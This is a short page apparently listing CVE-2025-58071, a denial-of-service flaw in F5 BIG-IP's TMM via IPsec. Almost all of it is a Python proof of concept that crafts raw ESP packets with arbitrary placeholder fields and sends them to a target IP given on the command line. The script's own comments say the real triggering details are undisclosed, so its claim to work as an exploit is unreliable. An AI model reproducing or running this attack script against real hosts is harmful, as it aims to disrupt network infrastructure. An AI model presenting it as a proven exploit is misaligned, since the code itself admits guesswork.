CVE-2025-58071：F5 BIG-IP IPsec配置导致TMM拒绝服务漏洞

# CVE-2025-58071 PoC - F5 BIG-IP TMM DoS via IPsec # This PoC demonstrates sending malformed IPsec traffic to trigger TMM termination # Note: Specific triggering traffic details are undisclosed by F5 #!/usr/bin/env python3 import socket import struct import sys def craft_malformed_esp_packet(target_ip, target_port=0): """ Craft a malformed ESP (Encapsulating Security Payload) packet targeting the IPsec-enabled BIG-IP TMM. The specific malformed fields that trigger the vulnerability are undisclosed, but crafted IPsec packets can cause TMM to terminate. """ # IP Header (Protocol 50 = ESP) ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, # Version + IHL 0x00, # DSCP/ECN 0x0050, # Total Length (placeholder) 0x0001, # Identification 0x0000, # Flags + Fragment Offset 64, # TTL 50, # Protocol (ESP) 0x0000, # Header Checksum (placeholder) socket.inet_aton(target_ip), # Source IP socket.inet_aton(target_ip) # Dest IP (loopback for testing) ) # Malformed ESP Header - SPI, Sequence Number, and payload # Crafting abnormal ESP payload to trigger TMM crash esp_spi = struct.pack('!I', 0xDEADBEEF) # Security Parameters Index esp_seq = struct.pack('!I', 0xFFFFFFFF) # Sequence Number esp_iv = b'\x00' * 16 # Initialization Vector # Malformed encrypted payload - abnormal length and content esp_payload = b'\xFF' * 64 + b'\x00' * 32 esp_padding = b'\x00' * 4 esp_pad_length = struct.pack('!B', 4) esp_next_header = struct.pack('!B', 59) # No Next Header esp_icv = b'\x00' * 16 # Integrity Check Value packet = ip_header + esp_spi + esp_seq + esp_iv + esp_payload + esp_padding + esp_pad_length + esp_next_header + esp_icv return packet def send_ipsec_dos(target_ip): """ Send crafted IPsec packets to trigger TMM DoS """ print(f"[*] Targeting {target_ip} with CVE-2025-58071 exploit") print("[*] Crafting malformed IPsec/ESP packets...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ESP) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) for i in range(10): packet = craft_malformed_esp_packet(target_ip) sock.sendto(packet, (target_ip, 0)) print(f"[+] Sent malformed ESP packet {i+1}/10") print("[*] Attack completed. Target TMM may have terminated.") except PermissionError: print("[-] Root privileges required for raw socket operations") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) send_ipsec_dos(sys.argv[1])